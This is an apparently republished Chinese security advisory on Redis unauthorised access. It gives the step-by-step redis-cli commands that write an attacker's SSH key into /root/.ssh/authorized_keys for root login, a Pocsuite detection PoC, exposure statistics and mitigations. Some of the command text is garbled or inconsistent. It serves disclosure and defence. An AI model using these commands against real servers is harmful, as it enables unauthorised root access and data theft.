Sebug 公佈了 Redis 未授權訪問缺陷的詳細漏洞資訊,這個 Redis 未授權訪問缺陷可輕易導致系統被黑。詳細內容請看下文:
漏洞概要
Redis 預設情況下,會繫結在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標伺服器的情況下未授權訪問Redis以及讀取Redis的資料。攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公鑰寫入目標伺服器的 /root/.ssh 資料夾的authotrized_keys 檔案中,進而可以直接登入目標伺服器。
漏洞概述
Redis 預設情況下,會繫結在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標伺服器的情況下未授權訪問Redis以及讀取Redis的資料。攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公鑰寫入目標伺服器的 /root/.ssh 資料夾的authotrized_keys 檔案中,進而可以直接登入目標伺服器。
漏洞描述
Redis 安全模型的觀念是: “請不要將Redis暴露在公開網路中, 因為讓不受信任的客戶接觸到Redis是非常危險的” 。
Redis 作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99%使用Redis的場景都是在沙盒化的環境中, 為了0.01%的可能性增加安全規則的同時也增加了複雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不划算的。
因為其他受信任使用者需要使用Redis或者因為運維人員的疏忽等原因,部分Redis繫結在0.0.0.0:6379,並且沒有開啟認證(這是Redis的預設配置),如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源ip訪問等,將會導致Redis服務直接暴露在公網上,導致其他使用者可以直接在非授權情況下直接訪問Redis服務並進行相關操作。
利用Redis自身的相關方法,可以進行寫檔案操作,攻擊者可以成功將自己的公鑰寫入目標伺服器的 /root/.ssh 資料夾的authotrized_keys 檔案中,進而可以直接登入目標伺服器。
漏洞影響
Redis 暴露在公網(即繫結在0.0.0.0:6379,目標IP公網可訪問),並且沒有開啟相關認證和新增相關安全策略情況下可受影響而導致被利用。
通過ZoomEye 的搜尋結果顯示,有97700在公網可以直接訪問的Redis服務。
根據 ZoomEye 最新於2015年11月12日0點探測結果顯示:
總的存在無驗證可直接利用 Redis 服務的目標全球有49099,其中中國有16477。其中被明著寫入crackit的,也就是已經被黑的比例分別是全球65%(3.1萬),中國67.5%(1.1萬)。
1.1. 漏洞分析與利用
首先在本地生產公私鑰檔案:
1 |
$ssh-keygen –t rsa |
然後將公鑰寫入foo.txt檔案
1 |
$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt |
再連線Redis寫入檔案
1 2 3 4 5 6 |
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK $ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK $ 192.168.1.11:6379> saveOK |
這樣就可以成功的將自己的公鑰寫入/root/.ssh資料夾的authotrized_keys檔案裡,然後攻擊者直接執行:
1 |
$ ssh –i id_rsa root@192.168.1.11 |
即可遠端利用自己的私鑰登入該伺服器。
當然,寫入的目錄不限於/root/.ssh 下的authorized_keys,也可以寫入使用者目錄,不過Redis很多以root許可權執行,所以寫入root目錄下,可以跳過猜使用者的步驟。
Redis 未授權的其他危害與利用
資料庫資料洩露
Redis 作為資料庫,儲存著各種各樣的資料,如果存在未授權訪問的情況,將會導致資料的洩露,其中包含儲存的使用者資訊等
程式碼執行
Redis可以巢狀Lua指令碼的特性將會導致程式碼執行, 危害同其他伺服器端的程式碼執行, 樣例如下
一旦攻擊者能夠在伺服器端執行任意程式碼, 攻擊方式將會變得多且複雜, 這是非常危險的.
通過Lua程式碼攻擊者可以呼叫 redis.sha1hex() 函式,惡意利用 Redis 伺服器進行 SHA-1 的破解。
敏感資訊洩露
通過 Redis 的 INFO 命令, 可以檢視伺服器相關的引數和敏感資訊, 為攻擊者的後續滲透做鋪墊
可以看到洩露了很多 Redis 伺服器的資訊, 有當前 Redis 版本, 記憶體執行狀態, 服務端個數等等敏感資訊。
全球無驗證可直接利用 Redis 分佈情況
全球無驗證可直接利用 Redis TOP 10 國家與地區
漏洞 PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
#!/usr/bin/env python # -*- coding:utf-8 -*- import socket import urlparse from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): vulID = '89339' version = '1' author = ['Anonymous'] vulDate = '2015-10-26' createDate = '2015-10-26' updateDate = '2015-10-26' references = ['http://sebug.net/vuldb/ssvid-89339'] name = 'Redis 未授權訪問 PoC' appPowerLink = 'http://redis.io/' appName = 'Redis' appVersion = 'All' vulType = 'Unauthorized access' desc = ''' redis 預設不需要密碼即可訪問,黑客直接訪問即可獲取資料庫中所有資訊,造成嚴重的資訊洩露。 ''' samples = [''] def _verify(self): result = {} payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a' s = socket.socket() socket.setdefaulttimeout(10) try: host = urlparse.urlparse(self.url).netloc port = 6379 s.connect((host, port)) s.send(payload) recvdata = s.recv(1024) if recvdata and 'redis_version' in recvdata: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['Port'] = port except: pass s.close() return self.parse_attack(result) def _attack(self): return self._verify() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register(TestPOC) |
解決方案
臨時解決方案
- 配置bind選項, 限定可以連線Redis伺服器的IP, 並修改redis的預設埠6379.
- 配置AUTH, 設定密碼, 密碼會以明文方式儲存在redis配置檔案中.
- 配置rename-command CONFIG “RENAME_CONFIG”, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
- 好訊息是Redis作者表示將會開發”real user”,區分普通使用者和admin許可權,普通使用者將會被禁止執行某些命令,如config
官方解決方案
暫無官方解決方案
推薦防護方案
暫無防護方案